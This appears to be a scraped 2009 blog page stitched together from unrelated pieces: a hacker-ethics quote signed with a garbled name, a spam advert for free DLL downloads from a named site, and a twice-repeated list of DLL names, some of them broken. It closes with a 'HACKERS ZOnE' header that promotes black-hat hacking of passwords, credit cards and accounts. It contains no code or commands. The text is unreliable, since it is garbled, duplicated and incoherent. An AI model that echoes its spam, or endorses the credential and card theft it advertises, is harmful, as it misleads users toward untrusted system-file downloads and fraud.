A pathetic bunch of wannabe losers is what most of you are, with no
right to steal the honorable title of `hacker' to puff up your silly
adolescent egos. Get stuffed, get lost, and go to jail.
Eric S. Real
^D
Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was
posted.
Hunting for missing files?
Computer problem: You must have faced computer problems hundreds of times. Hunting for missing files, especially a.dll that has just task. At a free DLL you can search alphabetically and its tutorials will guide you if you are picking a wrong file. All downloads at www.afreedll.com are free.
Today's most popular DLL files.
Download and restore. DLL files instantly for free without any hassle or problems.
hpzr3207.dll xvidcore.dll
daemon.dll
hpzimc09.dll hpzrp307.dll
hpzcon09.dll
gsdll32.dll hpzr3207.dll
msxml4.dll
SteamUI.dll FileSystem_Steam.dll
Audio3D.dll
yacscom.dll hpzpm309.dll
tier0.dll
HPZc3212.dll hpzcoi09.dll
hpzrp307.dll
vstdlib.dll wmp.dll hpzrm309.dll
UNIRES.DLL ddao35.dll u32Prod.dll
lame_enc.dll atioglxx.dll
hpgwiamd.dll
YbSkin2.dll hpzr3209.dll
IVIEWERS.DLL
MSBIND.DLL Vic32.dll crlds3d.dll
VBA6.DLL DolbyHph.dll MSDBRPTR.DLL
hpzlnt09.dll NPSWF32.dll
capicom.dll
TLBINF32.DLL Steam.dll
hpzsnt09.dll
hpz2 ku09.dll serverbrowser.dll
atiiiexx.dll
isafeif.dll shaderapidx9.dll
Oemdspif.dll
dbg.dll zlcomm.dll LHLogR.dll
hpzflt09.dll Aspen.dll
mfc71.dll
unidrvui.dll u32Comm.dll
hpzimc09.dll
hpzime09.dll Mss32.dll
metada51.dll
hpzjui09.dll ACTEXT.DLL
ativvaxx.dll
mfc71u.dll SHW32.DLL cimwin32.dll
d3drm.dll WING32.DLL hpzres09.dll
kdu_v32R.dll ati2dvag.dll
libapr.dll
UNIRES.DLL aspen.dll ATIDEMGR.dll
CDILLA05.DLL choosusr.dll
hpzslk09.dll
WAVMIX16.DLL hpzcon09.dll
vgui2.dll
hpzrer09.dll hpzvip09.dll
hpztbi09.dll
msvcr71.dll d3 d9.dll gdiplus.dll
comctl32.dll hpzrm309.dll
hpotscl.dll
iuctl.dll npdrmv2.dll msnp32.dll
quartz.dll mspp32.dll ogg.dll
faultrep.dll hpzimc09.dll
winhttp.dll
ywcvwr.dll advrcntr2.dll
px.dll
user32.dll MDT2 FW95.DLL
SHSQL.DLL
unires.dll SAVRT32.DLL
ATIDDC.DLL
nv4_disp.dll libnspr4.dll
gdiplus.dll
libeay32 _0.9.6l.dll pcl5eres.dll
MSRD2 X35.DLL
WKWBL.DLL sccbase.dll hpzimc09.dll
fmod.dll MSENV.DLL fxsapi.dll
hpfud50.dll msstdfmt.dll
hpovst08.dll
yacsui.dll hidserv.dll
WING.DLL
ODBCTOOL.DLL lmmib2.dll
GUTILS.DLL
all r available
Today's most popular DLL files.
Download and restore. DLL files instantly for free without any hassle or problems.
hpzr3207.dll xvidcore.dll
daemon.dll
hpzimc09.dll hpzrp307.dll
hpzcon09.dll
gsdll32.dll hpzr3207.dll
msxml4.dll
SteamUI.dll FileSystem_Steam.dll
Audio3D.dll
yacscom.dll hpzpm309.dll
tier0.dll
HPZc3212.dll hpzcoi09.dll
hpzrp307.dll
vstdlib.dll wmp.dll hpzrm309.dll
UNIRES.DLL ddao35.dll u32Prod.dll
lame_enc.dll atioglxx.dll
hpgwiamd.dll
YbSkin2.dll hpzr3209.dll
IVIEWERS.DLL
MSBIND.DLL Vic32.dll crlds3d.dll
VBA6.DLL DolbyHph.dll MSDBRPTR.DLL
hpzlnt09.dll NPSWF32.dll
capicom.dll
TLBINF32.DLL Steam.dll
hpzsnt09.dll
hpz2 ku09.dll serverbrowser.dll
atiiiexx.dll
isafeif.dll shaderapidx9.dll
Oemdspif.dll
dbg.dll zlcomm.dll LHLogR.dll
hpzflt09.dll Aspen.dll
mfc71.dll
unidrvui.dll u32Comm.dll
hpzimc09.dll
hpzime09.dll Mss32.dll
metada51.dll
hpzjui09.dll ACTEXT.DLL
ativvaxx.dll
mfc71u.dll SHW32.DLL cimwin32.dll
d3drm.dll WING32.DLL hpzres09.dll
kdu_v32R.dll ati2dvag.dll
libapr.dll
UNIRES.DLL aspen.dll ATIDEMGR.dll
CDILLA05.DLL choosusr.dll
hpzslk09.dll
WAVMIX16.DLL hpzcon09.dll
vgui2.dll
hpzrer09.dll hpzvip09.dll
hpztbi09.dll
msvcr71.dll d3 d9.dll gdiplus.dll
comctl32.dll hpzrm309.dll
hpotscl.dll
iuctl.dll npdrmv2.dll msnp32.dll
quartz.dll mspp32.dll ogg.dll
faultrep.dll hpzimc09.dll
winhttp.dll
ywcvwr.dll advrcntr2.dll
px.dll
user32.dll MDT2 FW95.DLL
SHSQL.DLL
unires.dll SAVRT32.DLL
ATIDDC.DLL
nv4_disp.dll libnspr4.dll
gdiplus.dll
libeay32 _0.9.6l.dll pcl5eres.dll
MSRD2 X35.DLL
WKWBL.DLL sccbase.dll hpzimc09.dll
fmod.dll MSENV.DLL fxsapi.dll
hpfud50.dll msstdfmt.dll
hpovst08.dll
yacsui.dll hidserv.dll
WING.DLL
ODBCTOOL.DLL lmmib2.dll
GUTILS.DLL
all r available
Wednesday, July 22, 2009
HACKERS ZOnE
here U WILL FIND INFORMATION RELATED TO HACKING .. Passwords ,credit cards, google accounts ,windows registry hacking, mobile hackinG, nd lots more Be A blaCK HAT hacker.... Enjoy ur stay Here
Subscribe to:
Posts (Atom)
MY STATS
